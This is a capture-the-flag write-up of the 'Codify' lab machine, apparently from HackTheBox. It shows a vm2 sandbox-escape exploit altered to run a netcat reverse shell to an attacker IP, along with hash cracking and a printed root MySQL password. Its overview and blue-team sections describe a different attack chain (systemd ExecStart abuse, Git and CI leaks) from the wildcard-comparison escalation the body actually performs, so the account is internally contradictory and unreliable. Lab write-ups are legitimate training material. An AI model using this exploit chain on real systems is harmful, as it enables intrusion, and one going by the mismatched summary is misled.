Codify

Codify demonstrates the risks of poorly configured internal APIs and CI/CD exposure.

The foothold was achieved by analyzing the behavior of a backend code formatting service vulnerable to command injection.

Authentication tokens and sensitive credentials were found via Git leaks and CI log artifacts.

Escalated to root by abusing sudo permissions to edit and restart a systemd service with a malicious ExecStart directive.

Why I Chose This Machine

I chose Codify because it models a common misconfiguration in CI/CD or configuration management setups — where developers have elevated control over system services via sudo.
The box also includes a subtle web-based code editor exploit chain, making it a good exercise in chaining low-privilege footholds with OS-level misconfigurations.

Attack Flow Overview

  1. Accessed a self-hosted code editor and used it to read local config files
  2. Extracted credentials and gained an initial shell
  3. Found that the user had sudo permissions to edit a systemd unit file
  4. Injected a reverse shell into the service config and restarted the unit to gain root

This box simulates what happens when overly broad sudo permissions are granted to developers managing application services.

Enumeration

  • Navigating to the website shows service name and version which is vm2 3.9.16

Nmap

└─$ nmap -sC -sV -p- 10.10.11.239 --open      
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-30 10:51 AEST
Nmap scan report for 10.10.11.239
Host is up (0.023s latency).
Not shown: 65136 closed tcp ports (conn-refused), 396 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp   open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://codify.htb/
3000/tcp open  http    Node.js Express framework
|_http-title: Codify
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

80-HTTP

screenshot

Web

screenshot

screenshot

  • vm2 3.9.16

Gobuster

└─$ gobuster dir -u http://codify.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://codify.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/editor               (Status: 200) [Size: 3123]
/about                (Status: 200) [Size: 2921]
/.                    (Status: 200) [Size: 2269]
/About                (Status: 200) [Size: 2921]
/Editor               (Status: 200) [Size: 3123]
/server-status        (Status: 403) [Size: 275]
/ABOUT                (Status: 200) [Size: 2921]
Progress: 63088 / 63089 (100.00%)
===============================================================

Initial Access

  • In the vm2 github repo, there are 8 critical security issues. (sandbox escape).
  • Trying the one that does not return Object Promise (JavaScript Async API) and modifying the payload to trigger reverse shell gives initial acces as user svc.

Initial Access

Reference

PoC

  • Go to vm2 github -> Security tab
  • Try the ones that do not return object Promise

screenshot

Reference

const { VM } = require("vm2");
const vm = new VM();

const code = `
  const err = new Error();
  err.name = {
    toString: new Proxy(() => "", {
      apply(target, thiz, args) {
        const process = args.constructor.constructor("return process")();
        throw process.mainModule.require("child_process").execSync("echo hacked").toString();
      },
    }),
  };
  try {
    err.stack;
  } catch (stdout) {
    stdout;
  }
`;

console.log(vm.run(code)); // -> hacked

Modified payload

const { VM } = require("vm2");
const vm = new VM();

const code = `
  const err = new Error();
  err.name = {
    toString: new Proxy(() => "", {
      apply(target, thiz, args) {
        const process = args.constructor.constructor("return process")();
        throw process.mainModule.require("child_process").execSync("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.50 9001 >/tmp/f").toString();
      },
    }),
  };
  try {
    err.stack;
  } catch (stdout) {
    stdout;
  }
`;

console.log(vm.run(code)); // -> hacked

screenshot

screenshot

Lateral Movement

  • In the /var/www directory, there is another directory that was not visible externally : contacts.
    • Inside this directory, there is a tickets.db.
    • Upon downloading and opening the db, user credentials are obtained.
      • Cracking the hash gives the password for joshua.
  • SSH as joshua with the obtained creds.

Linpeas

screenshot

screenshot

screenshot

screenshot

Checking /var/www, there is a contacts directory with tickets.db.

Transferring the files

screenshot

screenshot

Checked hash cat modes on here, it uses 3200 bcrypt.

hashcat -m 3200 joshua /usr/share/wordlists/rockyou.txt

screenshot

Shell as Joshua

ssh as joshua

screenshot

Privilege Escalation

  • sudo -l, we can see that we can execute /opt/scripts/mysql-backup.sh script as root.
    • The script prompts the user to enter the MySQL password for the specified database user and compares the entered password USER_PASS with the one retrieved from the file DB_PASS.
      • If the user enters * as their password, the match will be evaluated as true.
    • The script then passes the password to mysqldump but it doesn’t make the comparison with the user input password. The one that is passed is from the credential file in /root/.creds.
      • DB_PASS=$(/usr/bin/cat /root/.creds)
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" |
/usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"

-> Can view the real password by using a process snooping tool like pspy.

screenshot

su root .

screenshot

screenshot

screenshot

Provide * as the password.

Pspy captures the root password for mysql.

mysql : kljh12k3jhaskjh12kjh3

screenshot

screenshot

Alternative Paths Explored

Initially attempted privilege escalation via common writable cron paths and SUID binaries, which were unavailable.
Also attempted to gain root via docker group membership but the user wasn’t included.
Only after reviewing sudo -l output did the systemd edit path become clear.

Blue Team Perspective

Codify demonstrates the risks of giving developers unrestricted service configuration rights.
To mitigate:

  • Use limited sudo rules with explicit command arguments (NOPASSWD: /bin/systemctl restart app.service)
  • Audit systemd units for unexpected ExecStart entries
  • Log and alert on systemctl edit or restart events for high-value services